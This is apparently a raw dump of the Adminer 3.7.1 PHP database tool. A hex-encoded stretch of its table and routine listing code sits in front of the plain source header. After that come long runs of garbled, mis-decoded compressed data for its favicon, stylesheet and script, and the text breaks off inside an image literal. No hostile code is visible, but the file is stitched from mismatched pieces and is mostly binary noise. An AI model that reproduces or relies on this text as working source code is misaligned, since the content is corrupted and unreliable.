63 6F 6D 6D 65 6E 74 22 29 3F 22 3C 74 64 20 69 64 3D 27 43 6F 6D 6D 65
6E 74 2D 22 2E 68 28 24 45 29 2E 22 27 3E 26 6E 62 73 70 3B 22 3A 22 22
29 3B 7D 65 63 68 6F 22 3C 74 72 3E 3C 74 64 3E 26 6E 62 73 70 3B 3C 74
68 3E 22 2E 73 70 72 69 6E 74 66 28 27 25 64 20 69 6E 20 74 6F 74 61 6C
27 2C 63 6F 75 6E 74 28 24 43 66 29 29 2C 22 3C 74 64 3E 22 2E 6E 62 73
70 28 24 78 3D 3D 22 73 71 6C 22 3F 24 67 2D 3E 72 65 73 75 6C 74 28 22
53 45 4C 45 43 54 20 40 40 73 74 6F 72 61 67 65 5F 65 6E 67 69 6E 65 22
29 3A 22 22 29 2C 22 3C 74 64 3E 22 2E 6E 62 73 70 28 64 62 5F 63 6F 6C
6C 61 74 69 6F 6E 28 44 42 2C 63 6F 6C 6C 61 74 69 6F 6E 73 28 29 29 29
3B 66 6F 72 65 61 63 68 28 61 72 72 61 79 28 22 44 61 74 61 5F 6C 65 6E
67 74 68 22 2C 22 49 6E 64 65 78 5F 6C 65 6E 67 74 68 22 2C 22 44 61 74
61 5F 66 72 65 65 22 29 61 73 24 79 29 65 63 68 6F 22 3C 74 64 20 61 6C
69 67 6E 3D 27 72 69 67 68 74 27 20 69 64 3D 27 73 75 6D 2D 24 79 27 3E
26 6E 62 73 70 3B 22 3B 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22
2C 22 3C 73 63 72 69 70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76
61 73 63 72 69 70 74 27 3E 74 61 62 6C 65 43 68 65 63 6B 28 29 3B 3C 2F
73 63 72 69 70 74 3E 5C 6E 22 3B 69 66 28 21 69 6E 66 6F 72 6D 61 74 69
6F 6E 5F 73 63 68 65 6D 61 28 44 42 29 29 7B 65 63 68 6F 22 3C 70 3E 22
2E 28 65 72 65 67 28 27 5E 28 73 71 6C 7C 73 71 6C 69 74 65 7C 70 67 73
71 6C 29 24 27 2C 24 78 29 3F 28 24 78 21 3D 22 73 71 6C 69 74 65 22 3F
22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 76 61
6C 75 65 3D 27 22 2E 27 41 6E 61 6C 79 7A 65 27 2E 22 27 3E 20 22 3A 22
22 29 2E 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73 75 62 6D 69 74 27
20 6E 61 6D 65 3D 27 6F 70 74 69 6D 69 7A 65 27 20 76 61 6C 75 65 3D 27
22 2E 27 4F 70 74 69 6D 69 7A 65 27 2E 22 27 3E 20 22 3A 22 22 29 2E 28
24 78 3D 3D 22 73 71 6C 22 3F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27
73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 63 68 65 63 6B 27 20 76 61 6C
75 65 3D 27 22 2E 27 43 68 65 63 6B 27 2E 22 27 3E 20 3C 69 6E 70 75 74
20 74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 72 65 70
61 69 72 27 20 76 61 6C 75 65 3D 27 22 2E 27 52 65 70 61 69 72 27 2E 22
27 3E 20 22 3A 22 22 29 2E 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 73
75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 74 72 75 6E 63 61 74 65 27 20 76
61 6C 75 65 3D 27 22 2E 27 54 72 75 6E 63 61 74 65 27 2E 22 27 22 2E 63
6F 6E 66 69 72 6D 28 22 66 6F 72 6D 43 68 65 63 6B 65 64 28 74 68 69 73
2C 20 2F 74 61 62 6C 65 73 2F 29 22 29 2E 22 3E 20 3C 69 6E 70 75 74 20
74 79 70 65 3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 64 72 6F 70
27 20 76 61 6C 75 65 3D 27 22 2E 27 44 72 6F 70 27 2E 22 27 22 2E 63 6F
6E 66 69 72 6D 28 22 66 6F 72 6D 43 68 65 63 6B 65 64 28 74 68 69 73 2C
20 2F 74 61 62 6C 65 73 7C 76 69 65 77 73 2F 29 22 29 2E 22 3E 5C 6E 22
3B 24 6A 3D 28 73 75 70 70 6F 72 74 28 22 73 63 68 65 6D 65 22 29 3F 73
63 68 65 6D 61 73 28 29 3A 24 62 2D 3E 64 61 74 61 62 61 73 65 73 28 29
29 3B 69 66 28 63 6F 75 6E 74 28 24 6A 29 21 3D 31 26 26 24 78 21 3D 22
73 71 6C 69 74 65 22 29 7B 24 6B 3D 28 69 73 73 65 74 28 24 5F 50 4F 53
54 5B 22 74 61 72 67 65 74 22 5D 29 3F 24 5F 50 4F 53 54 5B 22 74 61 72
67 65 74 22 5D 3A 28 73 75 70 70 6F 72 74 28 22 73 63 68 65 6D 65 22 29
3F 24 5F 47 45 54 5B 22 6E 73 22 5D 3A 44 42 29 29 3B 65 63 68 6F 22 3C
70 3E 22 2E 27 4D 6F 76 65 20 74 6F 20 6F 74 68 65 72 20 64 61 74 61 62
61 73 65 27 2E 22 3A 20 22 2C 28 24 6A 3F 68 74 6D 6C 5F 73 65 6C 65 63
74 28 22 74 61 72 67 65 74 22 2C 24 6A 2C 24 6B 29 3A 27 3C 69 6E 70 75
74 20 6E 61 6D 65 3D 22 74 61 72 67 65 74 22 20 76 61 6C 75 65 3D 22 27
2E 68 28 24 6B 29 2E 27 22 20 61 75 74 6F 63 61 70 69 74 61 6C 69 7A 65
3D 22 6F 66 66 22 3E 27 29 2C 22 20 3C 69 6E 70 75 74 20 74 79 70 65 3D
27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 6D 6F 76 65 27 20 76 61 6C
75 65 3D 27 22 2E 27 4D 6F 76 65 27 2E 22 27 3E 22 2C 28 73 75 70 70 6F
72 74 28 22 63 6F 70 79 22 29 3F 22 20 3C 69 6E 70 75 74 20 74 79 70 65
3D 27 73 75 62 6D 69 74 27 20 6E 61 6D 65 3D 27 63 6F 70 79 27 20 76 61
6C 75 65 3D 27 22 2E 27 43 6F 70 79 27 2E 22 27 3E 22 3A 22 22 29 2C 22
5C 6E 22 3B 7D 65 63 68 6F 22 3C 69 6E 70 75 74 20 74 79 70 65 3D 27 68
69 64 64 65 6E 27 20 6E 61 6D 65 3D 27 74 6F 6B 65 6E 27 20 76 61 6C 75
65 3D 27 24 54 27 3E 5C 6E 22 3B 7D 65 63 68 6F 22 3C 2F 66 6F 72 6D 3E
5C 6E 22 3B 7D 65 63 68 6F 27 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E
68 28 4D 45 29 2E 27 63 72 65 61 74 65 3D 22 3E 27 2E 27 43 72 65 61 74
65 20 74 61 62 6C 65 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 69 66 28 73 75 70
70 6F 72 74 28 22 76 69 65 77 22 29 29 65 63 68 6F 27 3C 61 20 68 72 65
66 3D 22 27 2E 68 28 4D 45 29 2E 27 76 69 65 77 3D 22 3E 27 2E 27 43 72
65 61 74 65 20 76 69 65 77 27 2E 22 3C 2F 61 3E 5C 6E 22 3B 69 66 28 73
75 70 70 6F 72 74 28 22 72 6F 75 74 69 6E 65 22 29 29 7B 65 63 68 6F 22
3C 68 33 20 69 64 3D 27 72 6F 75 74 69 6E 65 73 27 3E 22 2E 27 52 6F 75
74 69 6E 65 73 27 2E 22 3C 2F 68 33 3E 5C 6E 22 3B 24 58 65 3D 72 6F 75
74 69 6E 65 73 28 29 3B 69 66 28 24 58 65 29 7B 65 63 68 6F 22 3C 74 61
62 6C 65 20 63 65 6C 6C 73 70 61 63 69 6E 67 3D 27 30 27 3E 5C 6E 22 2C
27 3C 74 68 65 61 64 3E 3C 74 72 3E 3C 74 68 3E 27 2E 27 4E 61 6D 65 27
2E 27 3C 74 64 3E 27 2E 27 54 79 70 65 27 2E 27 3C 74 64 3E 27 2E 27 52
65 74 75 72 6E 20 74 79 70 65 27 2E 22 3C 74 64 3E 26 6E 62 73 70 3B 3C
2F 74 68 65 61 64 3E 5C 6E 22 3B 6F 64 64 28 27 27 29 3B 66 6F 72 65 61
63 68 28 24 58 65 0A 61 73 24 4C 29 7B 65 63 68 6F 27 3C 74 72 27 2E 6F
64 64 28 29 2E 27 3E 27 2C 27 3C 74 68 3E 3C 61 20 68 72 65 66 3D 22 27
2E 68 28 4D 45 29 2E 28 24 4C 5B 22 52 4F 55 54 49 4E 45 5F 54 59 50 45
22 5D 21 3D 22 50 52 4F 43 45 44 55 52 45 22 3F 27 63 61 6C 6C 66 3D 27
3A 27 63 61 6C 6C 3D 27 29 2E 75 72 6C 65 6E 63 6F 64 65 28 24 4C 5B 22
52 4F 55 54 49 4E 45 5F 4E 41 4D 45 22 5D 29 2E 27 22 3E 27 2E 68 28 24
4C 5B 22 52 4F 55 54 49 4E 45 5F 4E 41 4D 45 22 5D 29 2E 27 3C 2F 61 3E
27 2C 27 3C 74 64 3E 27 2E 68 28 24 4C 5B 22 52 4F 55 54 49 4E 45 5F 54
59 50 45 22 5D 29 2C 27 3C 74 64 3E 27 2E 68 28 24 4C 5B 22 44 54 44 5F
49 44 45 4E 54 49 46 49 45 52 22 5D 29 2C 27 3C 74 64 3E 3C 61 20 68 72
65 66 3D 22 27 2E 68 28 4D 45 29 2E 28 24 4C 5B 22 52 4F 55 54 49 4E 45
5F 54 59 50 45 22 5D 21 3D 22 50 52 4F 43 45 44 55 52 45 22 3F 27 66 75
6E 63 74 69 6F 6E 3D 27 3A 27 70 72 6F 63 65 64 75 72 65 3D 27 29 2E 75
72 6C 65 6E 63 6F 64 65 28 24 4C 5B 22 52 4F 55 54 49 4E 45 5F 4E 41 4D
45 22 5D 29 2E 27 22 3E 27 2E 27 41 6C 74 65 72 27 2E 22 3C 2F 61 3E 22
3B 7D 65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22 3B 7D 65 63 68 6F
27 3C 70 3E 27 2E 28 73 75 70 70 6F 72 74 28 22 70 72 6F 63 65 64 75 72
65 22 29 3F 27 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 70
72 6F 63 65 64 75 72 65 3D 22 3E 27 2E 27 43 72 65 61 74 65 20 70 72 6F
63 65 64 75 72 65 27 2E 27 3C 2F 61 3E 20 27 3A 27 27 29 2E 27 3C 61 20
68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 66 75 6E 63 74 69 6F 6E 3D
22 3E 27 2E 27 43 72 65 61 74 65 20 66 75 6E 63 74 69 6F 6E 27 2E 22 3C
2F 61 3E 5C 6E 22 3B 7D 69 66 28 73 75 70 70 6F 72 74 28 22 65 76 65 6E
74 22 29 29 7B 65 63 68 6F 22 3C 68 33 20 69 64 3D 27 65 76 65 6E 74 73
27 3E 22 2E 27 45 76 65 6E 74 73 27 2E 22 3C 2F 68 33 3E 5C 6E 22 3B 24
4D 3D 67 65 74 5F 72 6F 77 73 28 22 53 48 4F 57 20 45 56 45 4E 54 53 22
29 3B 69 66 28 24 4D 29 7B 65 63 68 6F 22 3C 74 61 62 6C 65 20 63 65 6C
6C 73 70 61 63 69 6E 67 3D 27 30 27 3E 5C 6E 22 2C 22 3C 74 68 65 61 64
3E 3C 74 72 3E 3C 74 68 3E 22 2E 27 4E 61 6D 65 27 2E 22 3C 74 64 3E 22
2E 27 53 63 68 65 64 75 6C 65 27 2E 22 3C 74 64 3E 22 2E 27 53 74 61 72
74 27 2E 22 3C 74 64 3E 22 2E 27 45 6E 64 27 2E 22 3C 74 64 3E 3C 2F 74
68 65 61 64 3E 5C 6E 22 3B 66 6F 72 65 61 63 68 28 24 4D 0A 61 73 24 4C
29 7B 65 63 68 6F 22 3C 74 72 3E 22 2C 22 3C 74 68 3E 22 2E 68 28 24 4C
5B 22 4E 61 6D 65 22 5D 29 2C 22 3C 74 64 3E 22 2E 28 24 4C 5B 22 45 78
65 63 75 74 65 20 61 74 22 5D 3F 27 41 74 20 67 69 76 65 6E 20 74 69 6D
65 27 2E 22 3C 74 64 3E 22 2E 24 4C 5B 22 45 78 65 63 75 74 65 20 61 74
22 5D 3A 27 45 76 65 72 79 27 2E 22 20 22 2E 24 4C 5B 22 49 6E 74 65 72
76 61 6C 20 76 61 6C 75 65 22 5D 2E 22 20 22 2E 24 4C 5B 22 49 6E 74 65
72 76 61 6C 20 66 69 65 6C 64 22 5D 2E 22 3C 74 64 3E 24 4C 5B 53 74 61
72 74 73 5D 22 29 2C 22 3C 74 64 3E 24 4C 5B 45 6E 64 73 5D 22 2C 27 3C
74 64 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 65 76 65
6E 74 3D 27 2E 75 72 6C 65 6E 63 6F 64 65 28 24 4C 5B 22 4E 61 6D 65 22
5D 29 2E 27 22 3E 27 2E 27 41 6C 74 65 72 27 2E 27 3C 2F 61 3E 27 3B 7D
65 63 68 6F 22 3C 2F 74 61 62 6C 65 3E 5C 6E 22 3B 24 54 62 3D 24 67 2D
3E 72 65 73 75 6C 74 28 22 53 45 4C 45 43 54 20 40 40 65 76 65 6E 74 5F
73 63 68 65 64 75 6C 65 72 22 29 3B 69 66 28 24 54 62 26 26 24 54 62 21
3D 22 4F 4E 22 29 65 63 68 6F 22 3C 70 20 63 6C 61 73 73 3D 27 65 72 72
6F 72 27 3E 3C 63 6F 64 65 20 63 6C 61 73 73 3D 27 6A 75 73 68 2D 73 71
6C 73 65 74 27 3E 65 76 65 6E 74 5F 73 63 68 65 64 75 6C 65 72 3C 2F 63
6F 64 65 3E 3A 20 22 2E 68 28 24 54 62 29 2E 22 5C 6E 22 3B 7D 65 63 68
6F 27 3C 70 3E 3C 61 20 68 72 65 66 3D 22 27 2E 68 28 4D 45 29 2E 27 65
76 65 6E 74 3D 22 3E 27 2E 27 43 72 65 61 74 65 20 65 76 65 6E 74 27 2E
22 3C 2F 61 3E 5C 6E 22 3B 7D 69 66 28 24 43 66 29 65 63 68 6F 22 3C 73
63 72 69 70 74 20 74 79 70 65 3D 27 74 65 78 74 2F 6A 61 76 61 73 63 72
69 70 74 27 3E 61 6A 61 78 53 65 74 48 74 6D 6C 28 27 22 2E 6A 73 5F 65
73 63 61 70 65 28 4D 45 29 2E 22 73 63 72 69 70 74 3D 64 62 27 29 3B 3C
2F 73 63 72 69 70 74 3E 5C 6E 22 3B 7D 7D 7D 70 61 67 65 5F 66 6F 6F 74
65 72 28 29 3B
<?php /** Adminer - Comp
act database management 
* @link http://www.admin
er.org/ * @author Jakub 
Vrana, http://www.vrana.
cz/ * @copyright 2007 Ja
kub Vrana * @license htt
p://www.apache.org/licen
ses/LICENSE-2.0 Apache L
icense, Version 2.0 * @l
icense http://www.gnu.or
g/licenses/gpl-2.0.html 
GNU General Public Licen
se, version 2 (one or ot
her) * @version 3.7.1 */
error_reporting(6135);$j
c=!ereg('^(unsafe_raw)?$
',ini_get("filter.defaul
t"));if($jc||ini_get("fi
lter.default_flags")){fo
reach(array('_GET','_POS
T','_COOKIE','_SERVER')a
s$X){$hg=filter_input_ar
ray(constant("INPUT$X"),
FILTER_UNSAFE_RAW);if($h
g)$$X=$hg;}}if(function_
exists("mb_internal_enco
ding"))mb_internal_encod
ing("8bit");if(isset($_G
ET["file"])){if($_SERVER
["HTTP_IF_MODIFIED_SINCE
"]){header("HTTP/1.1 304
 Not Modified");exit;}he
ader("Expires: ".gmdate(
"D, d M Y H:i:s",time()+
365*24*60*60)." GMT");he
ader("Last-Modified: ".g
mdate("D, d M Y H:i:s").
" GMT");if($_GET["file"]
=="favicon.ico"){header(
"Content-Type: image/x-i
con");echo lzw_decompres
s("\0\0\0` \0\0\n @\
0C\"\0`EQ
?tvM'Jdd\\b0
\0\"fӈs5AX
PaJ08#RTz
`#.cXȀ?-\0Im?
.M\0ȯ(̉/(%
\0");}elseif($_GET["fil
e"]=="default.css"){head
er("Content-Type: text/c
ss; charset=utf-8");echo
 lzw_decompress("\n1̇
ٌl7B14vb0fsn2B
ѱ٘n:#(b.\rDc)
a7El ñi1̎s
-4f i7 
Féa'3Id!S
:4+Mdgǃt
cb{H(Ɠєt1
)t}Fp0 8\\82DL
>9 `'Cۗ889 x
Q\0e4QʘlPV
bT4 \\W/
\n`  7\"hq4ZM6T
\rr\\C{h7\rx67
J2.39KH,!m
Ɔo\$.[\r&#\$<f
)Z\0=r9jΪJ0c,
|=Rs_6ݷ
Z6 2Bp\\-1s
2> X:\rܺ3b
-8SLK.-ҥ\
rH@ml:;J0
LR2! A 2 m
0eI-:U\r9MWL0
GcJv2(F9`<J7+
˚~}DJHWSNeu
]1̥(OLЪ<lR[u&H
3vUt6\$6 X
\"<}:O<3xO8>
C1HRSd
9%U1Sna|.ԁ`
8:#C2*[o
4X~7j\\ 6/09
\r;;Vnnމv
kHB%.k\">[\nl
p9cFZs|>6 5
l1Vΐ67:\"Az
de\\5*մ]p[*
Am)Kt[\n8g= ;2z
|̣4t8.N#ʲ
B\"9%HQw qdF
\$&VQ#Q'
_m ̡ \rh 
Xrt0j5W4ד
m\"CAF!엖h>b0
07;84Ka \0p
aHXF1:8U9HI
ó;sQ7FcLpXM@e
吞+g(73O3p
blEE>Chb%DI8
E' #)=%CjY1yh;c
A6jK\r9Ž\$|
g-Zo\0z\$+
DVw*WpJ\
\FO'ɲa1m,_ڧ\r
1Po;\05e\r& 
3^\r6MR2T\05?~
5 P >85hn1;
\rRL8`\\@`;z\n\
0ԃ89RyZP@ib?ƭv\
$<% A\r?\0Sʥ
 BÞ4JҨ:`#Hi7
ε+}voJVڰ
9W2Q\rT
D`f wLI]
MKd7*rk*j\nASjF-[
ezzrʁfU3~\\Z
Z{)>>Ѓp*
;zDbw]mC\n訓
KBBm@ִ>
wU’*N(baƶ@fv
)`\0uD)mD@/49j
HBm1I5DR
uE9Aӗ=1b0ey
1s;-
]s 5\\\n1;Q
^bi;YJ2d!s#
kg hށ] W)>VIx]
r;6JLcprd{py
M-UVH5'\nt
вlpHoeZ
ϨqeXF`Gy\r!
Ww*Dut%dQ
/p:iht&P
e,J͌t!O7
6GgRC[skvqU}y
hAGV|lFޅL^.
]u&w![jnnڏ[k
CvkrmOɭJ>WT
0\npMCbt
VG|oy8c");
}elseif($_GET["file"]=="
functions.js"){header("C
ontent-Type: text/javasc
ript; charset=utf-8");ec
ho lzw_decompress("f:g
CI\n:saPi2\nOgc 
e6Le7s)Ћ\rHG
I3as'cDi6
N2H8uFR#
r7#v}@`Qo5a
I,2O'8R-q:PS(a
*w(%p<F)nx8z
A\"Z-CeV' sq
 ;NF1䭲9Gͦ'
0\rȿ9n`рX1݁G3
tee9:NeNOS
zczl`5 3y
8.\rP\r@
\\1\r \0@2j8ؗ=.
 -rá0Q ꊺ
hb`^9qE!  7
)#*Q\01
\"h>-C \"
XS`\\F֬h8
3`X:O,) 8<B
NЃ;>98c<#0L
9 ?(R#e=\
n:*0D9C@
{ZO8ioVvkA
r8&..cHE>
H_hWU51r*
^ (bxܡY1&XH
6ؓ.9xP\r.`v4
84daXV6FEHHf
c-^=txY\r%xe
Q,X=1!svjkQ2
%W? Ů=dY&ٓ
VX4ـ\\5Xì!}
NgvڃWY*Qi&l
Z#Ց\rA\$ev5o
#ޛ5gc3MTCL>vH
<`*]_;%;V
i4X'`ij
0gOۥi9ƙ
ےdFk/lŞnc<b\
n8`He}]\$Ҳ 
!C)\$ A`\0'
&\0B!)5E)
o\r8r`!2
Ts=D˩>\n/ l
[ ŠPa8%
!1v/SUcoJ:4J
+BvJ\rb{
,|\0zcYl\n
i.!)dmJ!'
 B\nC\\ i\$J\"2
+IkJ \$Gy\$#
i/CAbbC(:UX
2& , Q;~/Ky9?\r
6tV!6CP hYE
l䏞(ؖTp'3
C<dc?yCe0@&A?
= %A:JD&SQ6R)A
b`0@u9(!0R\nF 
Š wC\\υrܙ
#~2'\$ :K`h
@Eb[~ Tlf5
BR]{\"-\0L>\r
\$@\n(&\r9\0vh*ɇ
*X!_djpy
`jYwJ\$R(uaM+
nxspU^Ap`ͤIH
\nf02)!4a9 E
wC ˩ LPA
i)p3Au AIAHu
!g͕UZUc *
Mxf :^Xp+
V KC#+ Wh
CP! ;[pn\\%k \0
,ڨ87xQC\nY\rbX
vC d\nA;lF,_wr4R
PHA!;&^Ͳ\"6;
=#CI 9f':
DY!B+sxV8lÓ\
"鑃HU%\"Z6u\re0
[pa. +^`
`b5#CM\$ I˚A
P5C\r SdWN6H[ S
R\\+X=kλ׺S
r^(oo7\\hu
klHaC(mnRBUup
2C1[|ٽbeG0\"CG
?\$x7n\$Z=ZӦ
si5f&,fhiIy
n20DvETxM{
`ܤGN#遂Z,ƒ/ R\
$#\\I- |0-0N
P ;s-v҆n
wGtndiH|4(
+v&Ņ+KL\nJ
\$ԩ:\\Q<WB\"^W
TIB~qɞ}3ο\":
U |\r5n(n 7
OD}B}\0\rvoܕ
؆_JlİH3\"[ĸK
A`ߖN&()\"
 f&\0 blF.
jrJˆ\"P<\$F*|f
/! O pR F# 5
gb 8eRDi0P+*
 kZ;pHhl!
\0 \r\nc o/CB<
pyNTHhT @px\
$ 4 8\n#NU,
\$PmYK\"H R
LD\0a W
`pglPo
:L+\0 ]0<)Nxk
\n(`c+rk{m\"3.0
H1e*ZoeB9\r\0R
LiQUԋ`.
o:d’ T7Q V D
hWS1 g*2,
W)@ ϰT@C Q(,4
#d<\0! \$2 {es
+rʫJvY*HPr\r
TM\\\\`v<&n
D\\HHoj^@  <񊆯
8*#f *\r\nT \\\r
*T^*ɠ\$6o7
Ree8 粡,ҥ,,`|9K
20r+ҧ1R\"  *P*
Ȇ M\\\rb0\0Y\"\"U
x`QE\r~Q@
5 5sZ ^fR@Q4d5b
\0 @Fb/8\" 8s8<
@l2\$Sh\nR\"U
43FNɫ7\"D\r4OI3˜\n
\0\n``` Y2ob3
<n6]<`\" N\"B2Z
\nmE\0Zx
[2@,’ <P?\r8#d
<@JUK/E;\$6S
DU l;,ULΒ7fcG\"EG
\$\"E3FHƤId
=e !UHБ23&jȬ*
%%%2,JQ1Hl0 tY3\
$X<Ct4_\$\0>/F
\n?mFj 3 p D
HKv Ⱥɜ\0X*\rʚ
\n0 e\n%\ri
OflNM%]UQ Q
L-S±T4!U5T\nn
di0#EMi./U
\rZF j;H
d`mݩ\ntQS e
|iQt d12,
DY 1UQSUcdE
)\\L F\$@V{
W6\"LlTA\$6abOd
rLp c,esΞ<2`
@bXP\$3@˃P,
KVխ^MLu1
@ct-(`\09n
2sb/ Fm)Hl5
@nl\$q+:/ d,
\n޵. 4\$ 
w0\$dV0\"r
W4678VtqBaupÀI<\$#
x`wd9^*kuofBEp g
2f4 L!r=\0 \"
\r< hU
%ThBk#>'Cp\n
(\r2\"3lMԋ7
Gx.,Uu%Dt wy^
Mf\" (vU3uJ^H
C_IUYkSc_ylcc]rF
_q%W#]@rkv3-cy
VHJG<ZT@V8\$6
o2H@\rª\0=
ݍ\"39z:K
uK >B\$r.J
<KG~PXQMƹ Xw
\$;mpZp cK!OeOO?
wp懤֠LI\n
?9xB.]O:V9.mW
\0˗s>*l'koph
xvL`w1 
!M4\"I\$\"o\$>
˙Bea\"DBoʶ+ B0
Pxp&7|p{|}7ְ\
$-P@be
VYmoMo\0Nzn*>
΄)-Hl!h
pg &tZ㜤\0
!8 ɩZK@DZG
F秩. lz%
(x}'<Ū(
<XZǬњ ɮg
wzz{e'{;@噱
(&R^Eݛx宛Y
\"MܒV\n5
zlzr[x˪ G\$O
W@Zx,
be  fdƻ2EËI
DYT%k{J\\\rU N 
'_ɽf|w޵,l
7kt1RD>ЋXZ
|y|Z{|բ\r%;#\0
eZ,\rKt\r >>\$>?
?c?+@  @ʰ
cqfc+3Ș؀&x
]N*|b2<lnT\$A
Z0.&˷`{p,@
&|ϖ..oo@1=
\$9{dB;ה#:\$@
wң=C? (?Ӄ G1
|\"]\0 5\0
Ej\r@@*2KL#d*
CA3,K`  Cϭ
]\rL9۝=“<]
(jC) ,Bf\r 
-Rd5\$\0^\n4\
0ڢSY܆k4@B
\0W ?x(u}ڠ
K~P\r/E\"
#>R_\$< \r
l [*`\n~b
]jB\rqˣQ꾼+
(W| +ep9j}R<w@
db̴ Qդ̀/(
mI_}U<ոЗBy
_f&F͌F.} zh
yFcrU۫Fq
:\n\n%`D@
{s/wh]Bz\"J
# fTC_
dZؠ֣m2nnCKG\
\9(Bo S#|
d)Eހ|, bg1N
1 uP 91\0T\0<p>
iJ6p\r-S0t
HJ`7Dcp)\nߢ\\
%aQ Cf
6\ne
\n>@%h%I `\0uAX
K `8+ I\\(\rń\
0lH#]*y\$,H ?E
FC7`țE@rGpLB
3H,0+s\r\0\0
!9Hua4 0aJ(
\0DqgaJ!m~Aa
&à/ *p\"IBD\r!
9!vL:Ċ!\$
AKe\0lb i6
%YzKrlRK\"AF{ 6XH
&: h~9_2Ws>\$
Ћ pC@vz0
և8\\vp:s_\\
:Y\rB\$|iG
R# YR9\0D28?+}
YᩇJ#CiVCT6Q
9piteLp\$4\$D#
@@<APܑ\0f!
а)B2YZ\0.S (
. 4b1H`س Y)
RĂ `1gH:
B]O#8€K\njD%C
*I\$AiN,0  K(\0
T`\n2OB74QC
H 4@ )\$\0 Jq
+Ke&.J'p=pQ
[xXb <E'D#
`36 0@@ڦ `|R
5. ?#?l
S\"!jEq \0 Q
\rT#<?1(HB
FL[|@LE܆&Q:yĎ
Fh4qU\"!C1F
J8#@f:dё8#2C82.\
$Cb|\$0rI\
0,˜00Ke!N
i@d|5h` TU2Nj
i0Udk*&jF8*E
zcάΗs Â57
\n\rU,2` @
@X*p:-,\r RZL,ʃ
|l^O0 BCRn
V T]Mr
#y\\\" y\$/
 r*h%1 Kρ
|R`bB8r1n\0
\rU8ltB(
\0003: %-|
\0eTH\"Hq4(N\\j
cTH\n\0m3
?1S:>|gRc\
rF8Q&@5r\0XV5
\\fh @v, /\0\n&
/!d qKRm;
aD2d\0002b\$ L
/1,E4@<}aی\$
1*`>0 :d
  - Ä\rDYl(6[6ksf
' 8I TJDUD:A2hd
\0a\0)2:B3:
Z1=@-qN\\!\$k
fNw `n\$
LCR5pcE3Ca\
0=Hjڒg-ژE e.\
0!o,'wI`\\s6R
E}e0F\\m|F>q ?j
6i p +N
9qup2eɑm
.+L~\$\"Rs]iqC
И<T(iیQbt\"N
B mư @r‹xM
Mq#Oj /  LDK.t0
tIeBj1 60~s
74bQQ!2Ԗ
DH2PdmM
 DֈFfȹ\rDj\$ L[\0
`<@mV~9 v4
=!2ْ6'*D
#\0{'2l
LRJўXë,E(C\\
G;/R\$d
\$QJ`τ!ҮK\n|9
Tdx@h!'E-
v}b;|cfLYAROڇ
|3EgzQf@l/i
oEŗgo^q\nAaΔg˰!
@R41lE!p
H0jbqAa @xT
ݙ\0\rF45HZm=
xFC̙v?CL2}hfX
\$`Ib\0ĭ7GDũ
βfP9U`\"\
rIjԍʶT\rUz*T
!CI`X2 Qk
#ԅ\nee+[l~:~hn
h'͙ΧUVNWLՋ
Q=)nI҄^Y
pUOAXZUS
\\@Cr\"̈́;^E
-x\r\\Pv!I
:Z \\_2CPtW Y̰ 
_]a+=s]uC-h* 
Һ {+ZD\$c\$-vB
P.s¤2R j[Z
/QQ:1Y+ھھ!
Sb9Zyb,
t0f=@\r-\nB-ɟ
0&2_9hM,ב2HoT
lbd \0[\"%
A־4;2͒d.˗HZb5
45H\\ʓTARBʄ
-lJsύ6\" Ȃk
=<>jZgx`6
t.b,ͩkY\\`'
Sljհ!ln\0Wg+:+c6
~KFʖĩ-h9-
H@SDG;Π_ \n)
fnQ-*C֩{MS
nZ ED\0)Pg]6
b%%Hj&%-* 9}j
43@*(m\$QDۆҹ
(m¼ukjO\" ,1V
v%s1kP` /@
0>F>#X8%lⴹK
S|Yw0u̧bÉX4p\0
\n%\0ZQ2W
WEkoɇjy .Z\0
PptHR>,%)k
 `|,prZh
Z,P|CFLxn  
.PReVoB;xD
k)M?n`/5Ilqh\
0צ5Ehq폴A
UdkDOy;Ɔë
A.OrƄ!H ^ҋD3I
g>ce~Zo
n_^+!h|*3ޢ
G[nڶjp
7H/T+3lP{
<2ʞЩ)\"ãލYˣ
A2:&\0ۃ~cK\n
D4GNg.`RB1H.j
{}n|/o
`]f_6y`\r x^@
\\R='ς_{ X-
\\)L EP
l\\\0]hareӝ8NG^
I:ܵJ%r~-܍ 1
g+gVoσzm>54)
mm\$oEbܒ
)mEѨK6!* \n
Ӕq 0?wPKg1i
~X`\0XY Z *Dh
1El\r\0:?\r
>#2@3h2袰Æ
&Oе.Ʉ(.L<r
K#@A[,L5
4<!r,YIH
d) +l\$U\\|'ݣ
T\0'\$;\0
Qwֹ~⌴0qt^2y
L.a{(!*\0i~
?9ÄGl23v4 ?f[r
Ԇ;AYn) ƒ&P
2D@ ]wK2x .
p[4u6(} J3\0x\\T
\\)!>bVEь s
:88{>χAoHr
ySdvmr׃f>
jO\nÀ5ֳ͂A00
2>nf16q3”]
+arFx6 S-3e +
x̤/jhD\r-\n
јG7z2i.A9f
`YTx9\"^\\n
ݣs9{0s83\
$:#3Y6{0\nJ
 \$#D\\ļ@
3u0\"*.rs؛
5G_ȎDdHK
m]\\4\0;d}[ S
2ܜ}ޞKd& t
rf *j +Px܍\r
7M8A[#m\n\n
9+ZH|H[_
| j5H|U1^u]
P L`Xgh _r
smZ:l]ihsK>e
c 9 p7jCLRp
``");}else{he
ader("Content-Type: imag
e/gif");switch($_GET["fi
le"]){case"plus.gif":ech
o"GIF87a\0\0\0\0\0
\0\0\0\0\0,\0\0\0\0\
0\0\0!M*)o
) qe#L\0;";br
eak;case"cross.gif":echo
"GIF87a\0\0\0\0\0\
0\0\0\0\0,\0\0\0\0\0
